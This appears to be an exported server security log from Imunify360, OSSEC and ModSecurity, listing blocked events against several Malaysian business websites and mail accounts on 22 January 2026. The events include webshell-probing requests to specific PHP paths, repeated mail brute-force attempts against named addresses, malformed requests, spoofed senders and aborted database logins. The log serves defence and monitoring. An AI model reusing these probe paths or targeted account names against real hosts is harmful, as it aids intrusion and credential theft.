rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.237.49.26
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=186475 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.6.250.243
country_id: 6252001
description:
Jan 22 04:27:37 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.6.250.243 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.6.250.243
country_id: 6252001
description:
2026-01-22 04:27:39 dovecot_login authenticator failed for H=(50-6-250-243.unifiedlayer.com) [50.6.250.243]:37120: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 04:27:54 H=([45.144.212.242]) [45.144.212.242]:60652 F=<no_reply@admin.com> rejected RCPT <info@sutsb.com.my>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.174.198.25
country_id: 3469034
description:
2026-01-22 04:29:33 dovecot_plain authenticator failed for H=(lpz76chbhnv47s7b05f70) [200.174.198.25]:47348: 535 Incorrect authentication data (set_id=joshuaooi@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/img/img/product.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/cdn-cgi/l/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.174.198.25
country_id: 3469034
description:
Jan 22 04:29:31 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.174.198.25 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.216.21.128
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=97891514528038 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.155.73.235
country_id: 163843
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=51 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.195
country_id: 3469034
description:
Jan 22 04:39:49 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.195 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 04:39:06 H=([45.144.212.242]) [45.144.212.242]:61243 F=<no_reply@admin.com> rejected RCPT <enquiry@hmz.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.224.121.26
country_id: 3469034
description:
Jan 22 04:39:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.224.121.26 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/about-sinaran-utama-teknologi/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/contact.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/radioactive.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.195
country_id: 3469034
description:
Jan 22 04:39:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.195 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.56.49.75
country_id: 6251999
description:
2026-01-22 04:43:09 dovecot_plain authenticator failed for H=([10.6.157.214]) [212.56.49.75]:18854: 535 Incorrect authentication data (set_id=eeyh@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.56.49.75
country_id: 6251999
description:
2026-01-22 04:44:03 dovecot_plain authenticator failed for H=([10.6.157.214]) [212.56.49.75]:26855: 535 Incorrect authentication data (set_id=eeyh@tujusetia.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 39.36.237.250
country_id: 1168579
domain: aire-fresh.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:16285.aire-fresh.com||ServerName:aire-fresh.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:240a8e658f1c8c46be4453c753c451ed464a45ba||Title:0x74b063d1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 82.76.87.9
country_id: 798549
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/many/16/395/1690309 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.172.123.151
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=71 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.111.245.189
country_id: 1210997
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/hear/14/580/1466173 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 157.10.100.46
country_id: 1282988
description:
2026-01-22  4:53:18 509137 [Warning] Aborted connection 509137 to db: 'unconnected' user: 'unauthenticated' host: '157.10.100.46' (This connection closed normally without authentication)


plugin: ossec
rule: 50146
name: Multiple aborted logins to database.
abuser: 157.10.100.46
country_id: 1282988
description:
2026-01-22  4:53:20 509144 [Warning] Aborted connection 509144 to db: 'unconnected' user: 'unauthenticated' host: '157.10.100.46' (This connection closed normally without authentication)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 166.88.58.139
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:04-53.166.88.58.139||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.165.19.252
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=76831712173999 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 198.37.121.93
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:04-55.198.37.121.93||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/languages/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 50146
name: Multiple aborted logins to database.
abuser: 157.10.100.46
country_id: 1282988
description:
2026-01-22  4:58:23 509322 [Warning] Aborted connection 509322 to db: 'unconnected' user: 'unauthenticated' host: '157.10.100.46' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 157.10.100.46
country_id: 1282988
description:
2026-01-22  4:58:21 509315 [Warning] Aborted connection 509315 to db: 'unconnected' user: 'unauthenticated' host: '157.10.100.46' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.29.46
country_id: 798544
description:
Jan 22 05:01:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.29.46 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 202.181.16.202
country_id: 1210997
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=174516 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.190.183.52
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=442049 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.189
country_id: 3865483
description:
Jan 22 05:03:50 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.189 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/images/iso.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.189
country_id: 3865483
description:
Jan 22 05:03:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.189 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.42
country_id: 597427
description:
2026-01-22 05:06:19 dovecot_login authenticator failed for H=(ADMIN) [141.98.11.42]:53616: 535 Incorrect authentication data (set_id=mail@gagasanteguh.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.11.42
country_id: 597427
description:
Jan 22 05:06:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.11.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.42
country_id: 597427
description:
2026-01-22 05:07:53 dovecot_login authenticator failed for H=(ADMIN) [141.98.11.42]:18601: 535 Incorrect authentication data (set_id=mail@gagasanteguh.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.11.42
country_id: 597427
description:
Jan 22 05:07:51 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.11.42 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 122.165.41.227
country_id: 1269750
description:
[2026-01-22 05:08:46 +0800] info [whostmgrd] 122.165.41.227 - root "GET /cpsess7330001281/json-api/loadavg HTTP/1.1" DEFERRED LOGIN whostmgrd: cookie ip check: IP address has changed: IP Address [103.214.234.27] != Current IP Address [122.165.41.227]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.37.233.100
country_id: 3469034
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Penstock-Roller-Gate-Stoplog/M1253-TIMBER-STOPLOG.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.162.25.248
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Penstock-Roller-Gate-Stoplog/M1205-F3A-PENSTOCK.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.240.250.207
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Penstock-Roller-Gate-Stoplog/M1255-STOPLOG.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.18.41
country_id: 99237
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Penstock-Roller-Gate-Stoplog/M1257-COMPOSITE-STOPLOG.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.42
country_id: 597427
description:
2026-01-22 05:09:28 dovecot_login authenticator failed for H=(ADMIN) [141.98.11.42]:39034: 535 Incorrect authentication data (set_id=mail@gagasanteguh.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.25.113.112
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Penstock-Roller-Gate-Stoplog/M1205-F1A-PENSTOCK.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.235.209.27
country_id: 3469034
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Penstock-Roller-Gate-Stoplog/M1203-F1A-PENSTOCK.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.11.42
country_id: 597427
description:
Jan 22 05:09:26 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.11.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 98.193.112.85
country_id: 6252001
description:
Jan 22 05:09:26 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 98.193.112.85 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.193.112.85
country_id: 6252001
description:
2026-01-22 05:09:28 dovecot_plain authenticator failed for H=c-98-193-112-85.hsd1.il.comcast.net (unsly) [98.193.112.85]:52628: 535 Incorrect authentication data (set_id=bak@kendek.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.169.48.104
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Penstock-Roller-Gate-Stoplog/M1203-F2A-PENSTOCK.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.63.178.55
country_id: 3686110
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Penstock-Roller-Gate-Stoplog/M1255-RL-STOPLOG.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.32.196
country_id: 298795
description:
Jan 22 05:10:41 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.32.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 91.215.249.57
country_id: 690791
domain: www.solidfence.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.solidfence.com.my/product-posts/assets/img/product/MS Railing.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.104.98
country_id: 3469034
description:
Jan 22 05:10:20 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.104.98 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.11.42
country_id: 597427
description:
Jan 22 05:10:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.11.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.42
country_id: 597427
description:
2026-01-22 05:11:00 dovecot_login authenticator failed for H=(ADMIN) [141.98.11.42]:41987: 535 Incorrect authentication data (set_id=mail@gagasanteguh.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/demos/img/contact-us.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.11.42
country_id: 597427
description:
Jan 22 05:12:32 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.11.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.42
country_id: 597427
description:
2026-01-22 05:12:34 dovecot_login authenticator failed for H=(ADMIN) [141.98.11.42]:40990: 535 Incorrect authentication data (set_id=mail@gagasanteguh.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.198
country_id: 130758
description:
Jan 22 05:13:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.198 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.198
country_id: 130758
description:
2026-01-22 05:13:35 dovecot_login authenticator failed for H=(localhost) [62.60.130.198]:62182: 535 Incorrect authentication data (set_id=verklarte)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.174.49.189
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&sub=26 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.11.42
country_id: 597427
description:
Jan 22 05:14:08 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.11.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.42
country_id: 597427
description:
2026-01-22 05:14:10 dovecot_login authenticator failed for H=(ADMIN) [141.98.11.42]:44698: 535 Incorrect authentication data (set_id=mail@gagasanteguh.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 220.154.134.114
country_id: 1814991
description:
2026-01-22 05:14:49 H=([220.154.134.114]) [220.154.134.114]:65292 F=<dse_NA2@docusign.net> rejected RCPT <elaine@lvconsult.com.my>: SPF: 220.154.134.114 is not allowed to send mail from docusign.net


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/img/photos/career.php||SC:/home/sutsbcom/public_html/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.42
country_id: 597427
description:
2026-01-22 05:15:43 dovecot_login authenticator failed for H=(ADMIN) [141.98.11.42]:48764: 535 Incorrect authentication data (set_id=mail@gagasanteguh.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.19.68.112
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=63&page=2 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.11.42
country_id: 597427
description:
Jan 22 05:15:41 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.11.42 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.132.133.222
country_id: 2750405
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/moon/77/587780 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.11.42
country_id: 597427
description:
Jan 22 05:17:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.11.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.42
country_id: 597427
description:
2026-01-22 05:17:19 dovecot_login authenticator failed for H=(ADMIN) [141.98.11.42]:50620: 535 Incorrect authentication data (set_id=mail@gagasanteguh.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.11.42
country_id: 597427
description:
Jan 22 05:18:53 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.11.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.42
country_id: 597427
description:
2026-01-22 05:18:55 dovecot_login authenticator failed for H=(ADMIN) [141.98.11.42]:54348: 535 Incorrect authentication data (set_id=mail@gagasanteguh.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.11.42
country_id: 597427
description:
Jan 22 05:20:29 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.11.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.42
country_id: 597427
description:
2026-01-22 05:20:31 dovecot_login authenticator failed for H=(ADMIN) [141.98.11.42]:56984: 535 Incorrect authentication data (set_id=mail@gagasanteguh.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.206.93.90
country_id: 290557
description:
Jan 22 05:21:39 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.206.93.90 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.206.93.90
country_id: 290557
description:
2026-01-22 05:21:41 dovecot_login authenticator failed for H=([94.206.93.90]) [94.206.93.90]:45708: 535 Incorrect authentication data (set_id=gabriela_faulkner@sutsb.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.211.4.225
country_id: 2300660
description:
Jan 22 05:24:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.211.4.225 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 212.102.39.133
country_id: 3077311
description:
Jan 22 05:24:13 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 212.102.39.133 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.102.39.133
country_id: 3077311
description:
2026-01-22 05:24:15 dovecot_plain authenticator failed for H=([10.3.18.246]) [212.102.39.133]:2193: 535 Incorrect authentication data (set_id=steven@oxbold.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.211.4.225
country_id: 2300660
description:
Jan 22 05:25:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.211.4.225 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 131.255.68.46
country_id: 3469034
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/productdetails.php?id=1502 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.198
country_id: 130758
description:
Jan 22 05:26:40 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.198 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.198
country_id: 130758
description:
2026-01-22 05:26:42 dovecot_login authenticator failed for H=(localhost) [62.60.130.198]:54098: 535 Incorrect authentication data (set_id=qiang)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.187
country_id: 1880251
domain: fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/pkobo_news/upload/knowyourtyre.php||SC:/home2/fkrcom/public_html/pkobo_news||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.227.252.103
country_id: 1562822
domain: www.tschuan.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.tschuan.com/hs-surface-ae.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.253.198.4
country_id: 1562822
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/images/award.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.23.113.60
country_id: 1562822
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/img/photos/985843.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.26.27.89
country_id: 1562822
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/img/photos/959849.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.249.190.112
country_id: 1562822
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/img/photos/217937.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.185.138.32
country_id: 953987
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/img/photos/754933.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.230.212.121
country_id: 1562822
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/img/photos/276617.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.214.138.78
country_id: 2510769
description:
Jan 22 05:30:42 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.214.138.78 has been locked due to Imunify RBL


